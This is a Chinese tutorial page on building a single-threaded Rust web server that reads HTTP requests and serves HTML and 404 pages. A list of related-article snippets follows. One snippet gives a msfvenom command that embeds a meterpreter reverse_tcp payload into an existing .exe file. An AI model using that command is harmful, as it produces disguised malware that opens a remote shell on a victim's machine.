使用rust写一个Web服务器——单线程版本

news/2024/10/6 16:25:52 标签: rust, 前端, 服务器

文章目录

    • 监听TCP连接
    • 读取HTTP Reqeust
    • 返回HTTP Response
    • 返回HTML页面
    • 验证Request和选择性Response

使用rust编写一个基于HTTP协议的Web服务器。HTTP是更高层的通信协议,一般来说都基于TCP来构建的,除了HTTP/3,后者是基于UDP构建的协议

仓库地址: 1037827920/web-server: 使用rust编写的简单web服务器 (github.com)

下面分为五个步骤去完成这个单线程Web服务器

  1. 监听TCP连接
  2. 读取HTTP Reqeust
  3. 返回HTTP Response
  4. 返回HTML页面
  5. 验证Request和选择性Response

监听TCP连接

rust">use std::net::TcpListener;

fn main() {
    // 监听端口
    let listener = TcpListener::bind("localhost:8080").unwrap();
    
    // incoming返回一个迭代器,它每一次迭代会返回一个新的连接stream(客户端发起的连接,Web服务器负责监听接收),因此,接下来做的就是从stream中读取数据,然后返回处理的结果
    for stream in listener.incoming() {
        let stream = stream.unwrap();
        
        println!("Connection established!");
    }
}

运行代码后访问localhost:8080,可以看到如下结果:

Connection established!
Connection established!
Connection established!

为啥浏览器访问依次,会在终端打印多次连接建立的信息?

原因在于stream超出作用域时,会触发drop的扫尾工作,其中包含了关闭连接。但是,浏览器可能会存在自动重试的情况,因此还会重新建立连接,最终打印了多次。

注意: 由于listener.incoming()会在当前阻塞式监听,所以main线程会被阻塞。

读取HTTP Reqeust

连接建立后,就可以开始读取客户端传来请求数据,先了解一下HTTP Reqeust

HTTP Request格式:

Method Request-URI HTTP-Version
headers CRLF
message-body
  • Method是请求的方法,例如GET、POST等,Reqeust-URI是该请求希望访问的目标资源路径,例如/、/sleep
  • 类似JSON格式的数据都是HTTP请求报头headers,例如“Host: localhost:8080”
  • message-body是消息体,它包含了用户请求携带的具体数据,例如更改用户名的请求,就要提交新的用户名数据,而GET请求是没有message-body的

代码:

rust">use std::{
    // 帮助我们读取和写入数据
    // BufReader可以实现缓冲区读取,底层其实是基于std::io::Read实现,可以使用lines方法获取一个迭代器,可以对传输的内容流进行按行迭代读取,要使用该方法,需引入std::io::BufRead
    io::{prelude::*, BufReader},
    net::{TcpListener, TcpStream},
};


fn main() {
    let listener = TcpListener::bind("192.168.218.128:8080").unwrap();
    
    for stream in listener.incoming() {
        let stream = stream.unwrap();
        
        handle_connection(stream);
    }
}

/// # 函数作用
/// 处理连接:读取请求
fn handle_connection(mut stream: TcpStream) {
    let buf_reader = BufReader::new(&mut stream);
    let http_request: Vec<_> = buf_reader
    	.lines()
    	.map(|result| result.unwrap())
    	.take_while(|line| !line.is_empty()) // 从迭代器中获取元素,直到闭包返回false为止
    	.collect(); // 使用collect消费掉迭代器
    
    println!("Request: {:#?}", http_request);
}

运行代码后访问localhost:8080,可以看到如下结果:

Request: [
    "GET / HTTP/1.1",
    "Host: 192.168.218.128:8080",
    "Connection: keep-alive",
    "Cache-Control: max-age=0",
    "Upgrade-Insecure-Requests: 1",
    "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0",
    ...
]

如何判断客户端发来的HTTP数据是否读取完成:

客户端会在请求数据的结尾附上两个换行符,放我们检测某一行字符串为空时,就意味着请求数据已经传输完毕了,可以collect了。

返回HTTP Response

客户端请求后,服务端需要给予相应的请求应答

HTTP Response格式:

HTTP-Version Status-Code Reason-Phrase CRLF
headers CRLF
message-body

Status-Code用于告诉客户端,当前的请求是否成功,若失败,大概是什么原因

Response示例:

HTTP/1.1 200 OK\r\n\r\n

修改handle_conneciton,将Response发送回客户端:

rust">/// # 函数作用
/// 处理连接:读取请求,回应请求
fn handle_connection(mut stream: TcpStream) {
    let buf_reader = BufReader::new(&mut stream);
    let http_request: Vec<_> = buf_reader
    	.lines()
    	.map(|result| result.unwrap())
    	.take_while(|line| !line.is_empty()) // 从迭代器中获取元素,直到闭包返回false为止
    	.collect(); // 使用collect消费掉迭代器
    
    let response = "HTTP/1.1 200 OK\r\n\r\n";
    // write_all接收&[u8]类型作为参数,这里需要用as_bytes将字符串转换为字节数组
    stream.write_all(response.as_bytes()).unwrap();
}

运行代码后访问localhost:8080,浏览器已经不会再报错,已经收到了来自服务器的Response,虽然是空白页面

返回HTML页面

hello.html:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>This is title</title>
  </head>
  <body>
    <h1>Hello!</h1>
    <p>Hi from Web Server</p>
  </body>
</html>

添加导包:

rust">use std::fs;

修改handle_connection函数:

rust">/// # 函数作用
/// 处理连接:读取请求,回应请求
fn handle_connection(mut stream: TcpStream) {
    let buf_reader = BufReader::new(&mut stream);
    let _http_request: Vec<_> = buf_reader
    	.lines()
    	.map(|result| result.unwrap())
    	.take_while(|line| !line.is_empty()) // 从迭代器中获取元素,直到闭包返回false为止
    	.collect(); // 使用collect消费掉迭代器

    let status_line = "HTTP/1.1 200 OK"; // 状态行
    let contents = fs::read_to_string("hello.html").unwrap(); // 读取文件内容
    let length = contents.len();
    
    let response = format!("{status_line}\r\nContent-Length: {length}\r\n\r\n{contents}");

    // write_all接收&[u8]类型作为参数,这里需要用as_bytes将字符串转换为字节数组
    stream.write_all(response.as_bytes()).unwrap();
}

运行代码后访问localhost:8080,浏览器会显示hello.html页面

验证Request和选择性Response

404.html内容:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>This is 404 Page</title>
  </head>
  <body>
    <h1>Sorry!</h1>
    <p>404</p>
  </body>
</html>

继续修改handle_connection,针对客户端不同的Request给出相应的Response

rust">fn handle_connection(mut stream: TcpStream) {
	let buf_reader = BufReader::new(&mut stream);
    // 使用next而不是lines,因为我们只需要读取第一行,判断具体的request方法
    let request_line = buf_reader.lines().next().unwrap().unwrap();
    
    let (status_line, filename) = if request_line == "GET / HTTP/1.1" {
        ("HTTP/1.1 200 OK", "hello.html")
    } else {
        ("HTTP/1.1 404 NOT FOUND", "404.html")
    };

    let contents = fs::read_to_string(filename).unwrap();
    let length = contents.len();

    let response =
        format!("{status_line}\r\nContent-Length: {length}\r\n\r\n{contents}");

    stream.write_all(response.as_bytes()).unwrap();
}

运行代码后访问localhost:8080,浏览器会显示hello.html页面,范围localhost:8080/sleep,会显示404.html页面


http://www.niftyadmin.cn/n/5691866.html

相关文章

定时器实验(Proteus 与Keil uVision联合仿真)

一、 &#xff08;1&#xff09;设置TMOD寄存器 T0工作在方式1&#xff0c;应使TMOD寄存器的M1、M001&#xff1b;应设置C/T*0&#xff0c;为定时器模式&#xff1b;对T0的运行控制仅由TR0来控制&#xff0c;应使相应的GATE位为0。定时器T1不使用&#xff0c;各相关位均设为…

固态硬盘数据丢失?别急,这4款恢复神器帮你找回“丢失的记忆”!

数据啊&#xff0c;对咱工作和生活那可老重要了。不过呢&#xff0c;固态硬盘里的数据说不定啥时候就因为不小心误操作啦&#xff0c;或者被病毒攻击啦&#xff0c;再或者硬件出毛病就丢了&#xff0c;这可真让人上火。还好哈&#xff0c;市场上有不少专门的数据恢复软件呢&…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

OpenCV-背景建模

文章目录 一、背景建模的目的二、背景建模的方法及原理三、背景建模实现四、总结 OpenCV中的背景建模是一种在计算机视觉中从视频序列中提取出静态背景的技术。以下是对OpenCV背景建模的详细解释&#xff1a; 一、背景建模的目的 背景建模的主要目标是将动态的前景对象与静态的…

RAG:检索增强生成技术概览

Why 将大模型应用于实际业务场景时会发现&#xff0c;通用的基础大模型基本无法满足我们的实际业务需求&#xff0c;主要有以下几方面原因&#xff1a; 知识的局限性&#xff1a;大模型对于一些实时性的、非公开的或离线的数据是无法获取到的。幻觉问题&#xff1a;所有的AI模…

LeetCode 151 Reverse Words in a String 解题思路和python代码

题目&#xff1a; Given an input string s, reverse the order of the words. A word is defined as a sequence of non-space characters. The words in s will be separated by at least one space. Return a string of the words in reverse order concatenated by a sin…

React基础-快速梳理

React介绍 React由Meta公司开发&#xff0c;是一个用于构建Web和原生交互界面的库 React的优势 相较于传统基于DOM开发的优势 组件化的开发方式不错的性能 相较于其它前端框架的优势 丰富的生态跨平台支持 开发环境创建 create-react-app是一个快速创建React开发环境的…

通信协议感悟

本文结合个人所学&#xff0c;简要讲述SPI&#xff0c;I2C&#xff0c;UART通信的特点&#xff0c;限制。 1.同步通信 UART&#xff0c;SPI&#xff0c;I2C三种串行通讯方式&#xff0c;SPI功能引脚为CS&#xff0c;CLK&#xff0c;MOSI&#xff0c;MISO&#xff1b;I2C功能引…